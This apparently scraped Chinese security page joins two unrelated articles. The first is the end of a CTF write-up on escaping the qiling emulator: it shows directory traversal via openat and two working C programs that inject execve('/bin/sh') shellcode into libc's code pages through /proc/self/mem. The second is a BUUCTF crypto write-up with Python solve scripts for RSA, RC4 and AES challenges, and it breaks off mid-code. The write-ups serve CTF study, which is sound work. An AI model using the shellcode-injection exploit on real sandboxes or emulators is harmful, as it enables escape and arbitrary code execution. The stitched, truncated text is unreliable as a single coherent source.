def normalize(path: Union[Path, PurePath]) -> Union[Path, PurePath]:
# expected types: PosixPath, PurePosixPath, WindowsPath, PureWindowsPath
assert isinstance(path, (Path, PurePath)), f'did not expect {type(path).__name__!r} here'
normalized_path = type(path)()
# remove anchor (necessary for Windows UNC paths) and convert to relative path
if path.is_absolute():
path = path.relative_to(path.anchor)
for p in path.parts:
if p == '.':
continue
if p == '..':
normalized_path = normalized_path.parent
continue
normalized_path /= p
return normalized_path
符号链接就可以绕过检查，但是遗憾的是qiling没有实现symlink的系统调用，不过，回看open_ql_file的代码可以看出，如果dir_fd存在，那么就可以绕过这些检查，这时候自然就可以想到ql_syscall_openat的实现，这个就很简单，里面也没什么严格的检查，因此就可以实现目录穿越。
### 漏洞利用
在实现了目录穿越之后其实问题就变得简单了，我们可以通过/proc/self/maps获取到自身进程的内存信息，然后通过/proc/self/mem实现恶意代码执行，进而完成逃逸，这里展示一个小demo。
#include<stdio.h>
#include<fcntl.h>
#include<string.h>
unsigned char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char code[] = "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x1\x1\x81\x34\x24\x1\x1\x1\x1\x31\xf6\x56\x6a\x8\x5e\x48\x1\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\xf\x5";
int main() {
char buf[4096] = "0";
int fd = open("/proc/self/maps", O_RDONLY);
int fd_mem = open("/proc/self/mem", O_RDWR);
FILE *fp_map = fdopen(fd, "r");
unsigned long addr = 0;
while(1) {
fgets(buf, sizeof buf, fp_map);
if (strstr(buf, "r-xp")!=NULL && strstr(buf, "libc-")) {
sscanf(buf, "%lx-", &addr);
break;
}
}
lseek(fd_mem, addr, SEEK_SET);
for (int i=0; i<150; i++) {
write(fd_mem, nop, sizeof nop - 1);
}
write(fd_mem, code, sizeof code);
return 0;
}
不过大家可能会好奇，mem的权限为啥允许写入shellcode：
答案可以参考这篇文章：
> https://www.anquanke.com/post/id/257350#h2-0
至此，我们其实就拥有了整个攻击链，先进行目录穿越找到/proc/self/mem，然后写入shellcode。
int main() {
long start_addr;
// Open mappings
int map = openat(1, "/proc/self/maps", O_RDONLY);
// Open Python process memory
int mem = openat(1, "/proc/self/mem", O_RDWR);
FILE *fp_map = fdopen(map, "r");
// Find the first executable mapping for Libc
char line[4096];
while (fgets(line, sizeof line, fp_map)) {
size_t len = strlen(line);
if (strstr(line, "r-xp") != NULL && strstr(line, "libc-")) {
// Retrive start address of mapping
sscanf(line, "%lx-", &start_addr);
printf("%lx\n", start_addr);
break;
}
}
// Seek to the address of the executable mapping for Libc
lseek(mem, start_addr, SEEK_SET);
for(int i=0; i < 3; i++) {
write(mem, nop, sizeof nop -1);
}
// Write the payload into the executable mapping
write(mem, code, sizeof code);
return 0;
}
shellcode就不贴了，占地方，可以参考上面那个demo里面的。
## 总结
这个题目本身算是一个容器逃逸的题目，qiling在实现自己的rootfs的时候对系统调用的检测不严格是问题的根源。官方也及时进行了修复：
>
> https://github.com/qilingframework/qiling/pull/1076/commits/6d0fc4a81880abc2984552ccd23497d8832d00fe
* * * | 社区文章 |
# BUUCTF平台Crytpo部分Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## [BJDCTF 2nd]rsa1
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[BJDCTF
2nd]rsa1](https://buuoj.cn/challenges#%5BBJDCTF%202nd%5Drsa1)
* 题解
首先拿到题目靶机。nc交互获取得到题目数据
得到的条件有
* e
* p^2+q^2
* p-q
* c
明显是一个rsa加密。要去求解这个题目。因为求解rsa嘛。我们本质上肯定是想通过最基础的rsa解密去求解的。也就是我们要获取到私钥d以及公钥n。
这边我们通过去求解p和q的值。来求解rsa加密。
根据已知信息
假设
p^2+q^2=a
p-q=b
其中a、b已知
即求解二元二次方程
求解方程可以使用z3-solver进行求解
安装方法如下
找到官网
<https://pypi.org/project/z3-solver/4.8.8.0/#files>
下载对应系统的第三方库文件
例如我是windows系统，我下载的就是
z3_solver-4.8.8.0-py2.py3-none-win_amd64.whl
然后pip安装这个z3-solver库
pip install z3_solver-4.8.8.0-py2.py3-none-win_amd64.whl
然后求解出p和q的值进行一个基础的rsa解密就好了。
* 题解exp如下
import z3
import gmpy2
from Crypto.Util.number import *
#公钥e
e=11630623
#p^2+q^2
p2q2=159091823893455582874061921154612415267326476512949054956396980727282756099500423604620855106680518280081561541640137584218141965305223222299378169087637728170419037951685924289388185840842033127708318792414241966337535836497572877344724131756911624967860755193905135911797719211253029463146921655068409851682
#p-q
p_q=-1028057512734526688756255253926193308887656904740633132866508165158161555923213681694346079000723418169221377228338798941679856716917764591264729224439880
#密文c
c=c=16828607056351898528593346827961041518302251064718691085202163294074947863618526294699466675783765349214251854122505153854940088340991317516413847467861967618764774324129650766830916741676747137720500142976165361634620558308099053963312274170652756789297267286419176164695159543581037737967947118601658126996
#使用z3对二元二次方程进行求解
s=z3.Solver()
#定义两个变量
p,q=z3.Ints("p q")
#添加方程
s.add(p*p+q*q==p2q2)
s.add(p-q==p_q)
s.add(p>0)
arr=[]
#校验是否有解
if s.check()==z3.sat:
arr=s.model()
print(arr)
#得到p，q
q = 9418055170543903468662169278295577389409276234772590476185014016803075309886254123445652979884992724665244226628125328356664293030046148360676450649936611
p = 8389997657809376779905914024369384080521619330031957343318505851644913753963040441751306900884269306496022849399786529414984436313128383769411721425496731
#简单验证一下
assert(p*p+q*q==p2q2)
assert(p-q==p_q)
#rsa基础解密
n=p*q
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)
## EasyProgram
* 题目链接（buu平台）
<https://buuoj.cn/challenges#EasyProgram>
拿到题目下载附件，得到两个文件
* file.txt
用python读入字节流，判断长度为38.长度为38我们知道flag{}加上中间32位md5值就是一个标准的flag.也就先判断file.txt存放的是flag的密文
* 附件.txt
一个加密算法，大概是类似伪代码之类的。也比较容易看懂
get buf unsign s[256]
get buf t[256]
we have key:whoami
we have flag:????????????????????????????????
for i:0 to 256
set s[i]:i
for i:0 to 256
set t[i]:key[(i)mod(key.lenth)]
for i:0 to 256
set j:(j+s[i]+t[i])mod(256)
swap:s[i],s[j]
for m:0 to 38
set i:(i + 1)mod(256)
set j:(j + S[i])mod(256)
swap:s[i],s[j]
set x:(s[i] + (s[j]mod(256))mod(256))
set flag[m]:flag[m]^s[x]
fprint flagx to file
简单的把代码理一下，改成python的实现
key="whoami"
flag="flag{test_test_test_test_test_test_te}"
s=[]
t=[]
flag_enc=""
for i in range(256):
s.append(i)
for i in range(256):
t.append(ord(key[i%len(key)]))
j=0
for i in range(256):
j=(j+s[i]+t[i])%256
tmp=s[i]
s[i]=s[j]
s[j]=tmp
i=0
j=0
for m in range(38):
i=(i+1)%256
j=(j+s[i])%256
tmp=s[i]
s[i]=s[j]
s[j]=tmp
x=(s[i]+s[j]%256)%256
flag_enc+=chr(ord(flag[m])^s[x])
print(flag_enc)
简单分析一下，就是一个最简单的流密码，可以把前面的操作看作生成了一个密钥流。这个密钥流明显是固定的（也就是说和加密的明文无关）。那就很简单，异或解密就可以了。
* 题解exp如下：
f=open("file.txt","rb")
st=f.read()
print(len(st))
flag_enc=st
key="whoami"
s=[]
t=[]
flag=""
for i in range(256):
s.append(i)
for i in range(256):
t.append(ord(key[i%len(key)]))
j=0
for i in range(256):
j=(j+s[i]+t[i])%256
tmp=s[i]
s[i]=s[j]
s[j]=tmp
i=0
j=0
for m in range(38):
i=(i+1)%256
j=(j+s[i])%256
tmp=s[i]
s[i]=s[j]
s[j]=tmp
x=(s[i]+s[j]%256)%256
flag+=chr(flag_enc[m]^s[x])
print(flag)
##
## [AFCTF2018]可怜的RSA
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[AFCTF2018]可怜的RSA](https://buuoj.cn/challenges#%5BAFCTF2018%5D%E5%8F%AF%E6%80%9C%E7%9A%84RSA)
* 拿到附件：
* flag.enc
* public.key
就明显是拿到两个附件，一个是RSA加密的密钥文件，还有一个是flag加密后的密文的文件。
这边的话一种就是常规的用openssl，个人不太喜欢用。python能解决的问题我一般就python解决了。这边用到python的Crypto库，是做CTF密码学非常常用的一个库。
pip install pycrypto
安装好这个Crypto库
然后导入Crypto.PublicKey.RSA
用RSA模块的import_key函数将我们的publickey读入，拿到RSA加密的公钥n和e的具体参数
from Crypto.PublicKey import RSA
f=open("public.key","r")
key=RSA.import_key(f.read())
f.close()
e=key.e
n=key.n
然后发现n可以分解，直接在线网站<http://factordb.com/>把n给分解了，得到公钥n的两个因子。
然后就是常规的RSA求解私钥
这边因为flag.enc是RSA的PKCS1_OAEP加密得来的。所以我们这边也是给生成一个私钥文件。
在做到这边的时候，如何导出一个私钥文件。找了一下百度上的方法。都是先generate后给参数分别赋值的。但是我发现我并不行，试了一下python3和python2下的Crypto库都得到一个报错
Exception has occurred: AttributeError
can't set attribute
也就是现在无法通过这么直接赋值了。
这种情况的话，可以去看下python调用的Crypto库里面的RSA模块的一个底层的实现。
发现有一个construct函数，传入一个rsa_components参数，是一个元组型的数据，也就是tuple类型的，分别是(n,e,d,p,q)
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
rsa_components=(n,e,int(d),p,q)
arsa=RSA.construct(rsa_components)
arsa.exportKey()
然后导出的私钥，对加密后的密文，使用PKCS1_OAEP模块进行解密即可。
* 题解exp如下
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
f=open("public.key","r")
key=RSA.import_key(f.read())
f.close()
e=key.e
n=key.n
import base64
from Crypto.Util.number import *
import gmpy2
p= 3133337
q=25478326064937419292200172136399497719081842914528228316455906211693118321971399936004729134841162974144246271486439695786036588117424611881955950996219646807378822278285638261582099108339438949573034101215141156156408742843820048066830863814362379885720395082318462850002901605689761876319151147352730090957556940842144299887394678743607766937828094478336401159449035878306853716216548374273462386508307367713112073004011383418967894930554067582453248981022011922883374442736848045920676341361871231787163441467533076890081721882179369168787287724769642665399992556052144845878600126283968890273067575342061776244939
print(p*q==n)
f=open("flag.enc","r")
c_base64=f.read().strip("\n")
c_bytes=base64.b64decode(c_base64)
c=bytes_to_long(c_bytes)
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
rsa_components=(n,e,int(d),p,q)
arsa=RSA.construct(rsa_components)
rsakey = RSA.importKey(arsa.exportKey())
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(c_bytes)
print(decrypted)
## [AFCTF2018]BASE
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[AFCTF2018]BASE](https://buuoj.cn/challenges#%5BAFCTF2018%5DBASE)
* 附件
* flag_encode.txt
拿到附件是一个flag加密后的文本，其实是flag经过很多次base系列编码后的一个内容。文件有20+MB，文本编辑器发现是一行编码后的内容。
这题主要是三种编码，base64/base32/base16。base16也就是16进制。
就疯狂解码就行了。主要是考察一个脚本的编写吧，也只能这么理解。。
* 题解exp如下：
import base64
f=open("flag_encode.txt","r")
c=f.readline()
while True:
ok=0
try:
c=base64.b64decode(c).decode("ascii")
ok=1
except:
pass
try:
c=base64.b16decode(c).decode("ascii")
ok=1
except:
pass
try:
c=base64.b32decode(c).decode("ascii")
ok=1
except:
pass
if not ok:
print(c)
break
##
## [WUSTCTF2020]情书
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[WUSTCTF2020]情书](https://buuoj.cn/challenges#%5BWUSTCTF2020%5D%E6%83%85%E4%B9%A6)
* 附件
* attachment.txt
拿到附件发现说明里面是RSA加密
并且给了密钥，密文。直接写脚本解就完事了。
接出来的内容为字母表的索引，找到对应的字母即可
* 题解exp如下：
en=[156,821,1616,41,140,2130,1616,793]
import string
table=string.ascii_lowercase
print(table)
for i in en:
print(table[pow(i,937,2537)],end="")
##
## [NPUCTF2020]Classical Cipher
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[NPUCTF2020]Classical
Cipher](https://buuoj.cn/challenges#%5BNPUCTF2020%5DClassical%20Cipher)
* 附件
* key.txt
* flag.zip
flag.zip为加密的zip文件，zip密码为key.txt中
因为这边有一组明密文的对应关系，即key→pvb，古典密码学思想直接词频分析。
使用词频分析网站：<https://www.quipqiup.com/>
得到结果：the_key_is_atrash
尝试用这个去解密发现密码错误。
然后仔细分析一下这个词频分析结果。发现有atbash，这个词的话就比较熟悉，古典密码里面经典的单表替换密码。
其实压缩包密码为the_key_is_atbash。主要是因为词频分析的话atrash更符合表达。
直接atbash解密即可
解开压缩包拿到图片
猪圈密码的话是比较常见的一种编码了。可以百度一下，这边要注意一点，这个猪圈密码和CTFwiki上面给出的那个表不同。对应关系参照的是这个表：
然后还有一些动物啥的，其实是象形文字。。。怎么说呢，勉勉强强算是理解成一种编码吧。这边对应的编码表也是给大家找来了。
这边对应下两张表去解出明文即可。
## [网鼎杯 2020 青龙组]you_raise_me_up
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[网鼎杯 2020
青龙组]you_raise_me_up](https://buuoj.cn/challenges#%5B%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84%5Dyou_raise_me_up)
* 附件
* you_raise_me_up.py
附件就是一个加密脚本，然后输出的话也是直接注释在了脚本里面。
其实乍一看你会发现他和RSA加密很像，最后的加密过程为。
c = pow(m, bytes_to_long(flag), n)
我们知道RSA加密就是令明文为m，取公钥e和n，密文c=pow(m,e,n)
这边的一个明显区别为，可以理解为flag明文作为RSA加密里面的公钥e进行的求解。
这个在密码学里面是基于离散对数的一种加密，我们在求解明文的时候，也就相当于是求解基于同余运算和原根的一种对数运算。
求解这种问题的话我们用python的sympy模块的discrete_log函数进行求解就可以了。discrete_log(n,c,m)
* 题解exp如下：
m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
n = 2 ** 512
import sympy
from Crypto.Util.number import *
flag=sympy.discrete_log(n,c,m)
print(long_to_bytes(flag))
## [ACTF新生赛2020]crypto-aes
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[ACTF新生赛2020]crypto-aes](https://buuoj.cn/challenges#%5BACTF%E6%96%B0%E7%94%9F%E8%B5%9B2020%5Dcrypto-aes)
* 附件
* aes.py
* output
分析附件，发现aes.py是一个简单的aes cbc模式的加密脚本。
def main():
key=os.urandom(2)*16
iv=os.urandom(16)
print(bytes_to_long(key)^bytes_to_long(iv))
aes=AES.new(key,AES.MODE_CBC,iv)
enc_flag = aes.encrypt(FLAG)
print(enc_flag)
if __name__=="__main__":
main()
很显然的是，key和iv为两个随机比特流。但是特点很明显。
其中key是长度为两个字节的比特流重复了16次。iv就是一个长度为16字节的比特流
故这边，key的长度为32字节，iv的长度为16字节
然后给了我们key和iv异或的输出结果
这边易得到一个结论，key的低16字节与iv的16字节异或，而key的高16字节就保留了，可以看作高16字节的每一位都是与0异或，而与0异或结果就是它本身。
这边我们将output文件中得到的key与iv异或结果的10进制值，转换成16进制值。我们知道16进制的每两位表示的是一个字节。这边可以看到输出结果的高位都是c981的一个重复。即可得key中重复的两字节的16进制分别是c9和81，如此我们也就得到了key，再异或得到iv进行aes基础解密即可。
* 题解exp如下：
import os
from Crypto.Util.number import *
from Crypto.Cipher import AES
xor_re=91144196586662942563895769614300232343026691029427747065707381728622849079757
key=b'\xc9\x81'*16
print(key)
key_long=bytes_to_long(key)
iv=(long_to_bytes(xor_re^key_long))
print(iv)
c=b'\x8c-\xcd\xde\xa7\xe9\x7f.b\x8aKs\xf1\xba\xc75\xc4d\x13\x07\xac\xa4&\xd6\x91\xfe\xf3\x14\x10|\xf8p'
aes=AES.new(key,AES.MODE_CBC,iv)
flag=aes.decrypt(c)
print(flag)
## [INSHack2017]rsa16m
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[INSHack2017]rsa16m](https://buuoj.cn/challenges#%5BINSHack2017%5Drsa16m)
* 附件
* rsa_16m
附件rsa_16m是一个7+MB的文件，里面主要的一个数据为RSA加密体系中的n,e,c。
可以发现的是n极大，e虽然也挺大的，为0x10001。但是这边明文flag的e次方还是小于n的。故这一题直接用rsa里面的小明文攻击即可。
直接对密文c开e次方根
* 题解exp如下:
f=open("rsa_16m","r")
f.readline()
c=int(f.readline().strip("\n").split(" = ")[1],16)
e=0x10001
import gmpy2
from Crypto.Util.number import *
flag=long_to_bytes(gmpy2.iroot(c,e)[0])
print(flag)
## [XNUCA2018]Warmup
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[XNUCA2018]Warmup](https://buuoj.cn/challenges#%5BXNUCA2018%5DWarmup)
* 附件
* Buggy_Server.py
* sniffed.pcapng
简单分析一下Buggy_Server.py脚本，是一个模拟发送消息的脚本，使用的是rsa加密，通过传入user将flag消息进行rsa加密发送给user，并抓取所有消息的一个流量。
直接对流量包进行一个分析，追踪一下TCP流，可以发现
题目给出的流量包的内容，即发送给user的rsa加密数据。
这边发现，发送给Alice和Carol这两个用户，使用的公钥n是一样的。那就是一个rsa里面经典的共模攻击。
* 题解exp如下：
import sys
import binascii
sys.setrecursionlimit(1000000)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
c1=22917655888781915689291442748409371798632133107968171254672911561608350738343707972881819762532175014157796940212073777351362314385074785400758102594348355578275080626269137543136225022579321107199602856290254696227966436244618441350564667872879196269074433751811632437228139470723203848006803856868237706401868436321225656126491701750534688966280578771996021459620472731406728379628286405214996461164892486734170662556518782043881759918394674517409304629842710180023814702447187081112856416034885511215626693534876901484105593275741829434329109239483368867518384522955176807332437540578688867077569728548513876841471
n=25118186052801903419891574512806521370646053661385577314262283167479853375867074736882903917202574957661470179148882538361560784362740207649620536746860883395110443930778132343642295247749797041449601967434690280754279589691669366595486824752597992245067619256368446164574344449914827664991591873150416287647528776014468498025993455819767004213726389160036077170973994848480739499052481386539293425983093644799960322581437734560001018025823047877932105216362961838959964371333287407071080250979421489210165485908404019927393053325809061787560294489911475978342741920115134298253806238766543518220987363050115050813263
e1=7669
c2=20494665879116666159961016125949070097530413770391893858215547229071116025581822729798313796823204861624912909030975450742122802775879194445232064367771036011021366123393917354134849911675307877324103834871288513274457941036453477034798647182106422619504345055259543675752998330786906376830335403339610903547255965127196315113331300512641046933227008101401416026809256813221480604662012101542846479052832128788279031727880750642499329041780372405567816904384164559191879422615238580181357183882111249939492668328771614509476229785062819586796660370798030562805224704497570446844131650030075004901216141893420140140568
e2=6947
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print(m)
print (binascii.unhexlify(hex(m)[2:].strip("L")))
## [b01lers2020]safety_in_numbers
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[b01lers2020]safety_in_numbers](https://buuoj.cn/challenges#%5Bb01lers2020%5Dsafety_in_numbers)
* 附件
* enc.py
* flag.enc
* pubkey.pem
这边的话enc.py里面要注意一个点，他从int转成bytes和bytes转int都是用的小端模式也就是byteorder =
‘little’,这个和我们正常的一个转换刚好相反的。
然后可以发现是pubkey.pem极大，有1.6MB，这边如果是使用RSA.importKey是无法取出他的公钥n，e的。因为根本无法导入。但是我们其实知道公钥文件的格式，
e其实就在base64编码的公钥文件的尾部
import base64
key_end_base64="l8UvtaFCpNsgheCRz1j+HD9cHH05ozrbHMe/rtEUQa6fmQcAJbDNBXZV+yabO1aSKwVm5ZgHKQIDAQAB"
key=base64.b64decode(key_end_base64)
print(hex(bytes_to_long(key)))
得到结果如下
明显最后的16进制值为0x10001，这也是rsa中最常用的一个公钥e。
因为n极大，这题也是直接小明文攻击求解。
* 题解exp如下：
from Crypto.Util.number import *
import base64
import gmpy2
key_end_base64="l8UvtaFCpNsgheCRz1j+HD9cHH05ozrbHMe/rtEUQa6fmQcAJbDNBXZV+yabO1aSKwVm5ZgHKQIDAQAB"
key=base64.b64decode(key_end_base64)
print(hex(bytes_to_long(key)))
f=open("flag.enc","rb")
c_bytes=f.read()
c=int.from_bytes(c_bytes,byteorder="little")
m=gmpy2.iroot(c,0x10001)[0]
flag=long_to_bytes(m)[::-1]
print(flag)
## [AFCTF2018]MyOwnCBC
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[AFCTF2018]MyOwnCBC](https://buuoj.cn/challenges#%5BAFCTF2018%5DMyOwnCBC)
* 附件
* MyOwnCBC.py
* flag_cipher
def MyOwnCBC(key, plain):
if len(key)!=32:
return "error!"
cipher_txt = b""
cipher_arr = []
cipher = AES.new(key, AES.MODE_ECB, "")
plain = [plain[i:i+32] for i in range(0, len(plain), 32)]
print (plain)
cipher_arr.append(cipher.encrypt(plain[0]))
cipher_txt += cipher_arr[0]
for i in range(1, len(plain)):
cipher = AES.new(cipher_arr[i-1], AES.MODE_ECB, "")
cipher_arr.append(cipher.encrypt(plain[i]))
cipher_txt += cipher_arr[i]
return cipher_txt
简单的对MyOwnCBC.py脚本进行分析，可以发现，其实就是ECB模式下的AES，然后将每个分组单独进行了AES
ECB加密，可以看到的是每一组AES加密的key为上一组加密结果的密文。
出题人设计这个题目的意图应该是想带大家了解一下AES
CBC模式，用ECB模式进行一个大概的模拟（当然不是这个原理）。主要是想表达CBC模式下会把上一轮的加密影响扩散到下一轮的意思吧。
那解密也很简单，因为key其实就是每组加密后的密文嘛，直接AES ECB模式下解密即可。
* 题解exp如下：
from Crypto.Cipher import AES
from Crypto.Random import random
from Crypto.Util.number import long_to_bytes
f=open("flag_cipher","rb")
st=f.read()
print(len(st))
def MyOwnCBC(key, plain):
cipher_txt = b""
cipher = AES.new(key, AES.MODE_ECB)
cipher_txt=cipher.decrypt(plain)
return cipher_txt
#for i in range(len(st)//32):
flag=""
for i in range(1,10):
plain=MyOwnCBC(st[(52-i-1)*32:(52-i)*32],st[(52-i)*32:(53-i)*32])
flag=plain.decode()+flag
print(flag)
## [RoarCTF2019]RSA
* 题目链接（buu平台）
[https://buuoj.cn/challenges#[RoarCTF2019]RSA](https://buuoj.cn/challenges#%5BRoarCTF2019%5DRSA)
* 附件
* attachment
题面如下：
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
A =
n =
c =
这一题我们发现n直接可以分解。
这一点我也很费解。。因为RoarCTF当时也有参与出题和测题。明明不应该出现这个问题。这个factordb的网站有收录就很离谱。
这边介绍一下预期解。
我们首先看到
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
这边可以发现，其实这个方程里面最大的一项是(((y%x) **5)%(x%y))** 2019
这边之前底数大于等于2，那么这一项直接就大于A了。所以这一项必然是0或者1
其次就是y **316了。发现当y为84的时候y** 316就已经大于A了。所以得到y肯定是小于84的
然后最后一项的结果肯定也很小。所以这边基本就确定了y为83了。然后爆破一下x，得到x为2
到这里我们就得到了x*y的一个值。然后我们知道p和q共有一个大因子z，虽然最后是取了一个next_prime，但是我们可以先得到一个大概的值
得到一个z的大概值
xy=x*y
zz_near=n//xy
z_near=gmpy2.iroot(zz_near,2)[0]
然后写个二分法去求解一下pq的值
low=0
hei=10000000
while low<hei:
mid=(low+hei)//2
p=gmpy2.next_prime((z_near-mid)*x*y)
q=gmpy2.next_prime((z_near-mid))
if p*q-n>0:
low=mid+1
elif p*q-n<0:
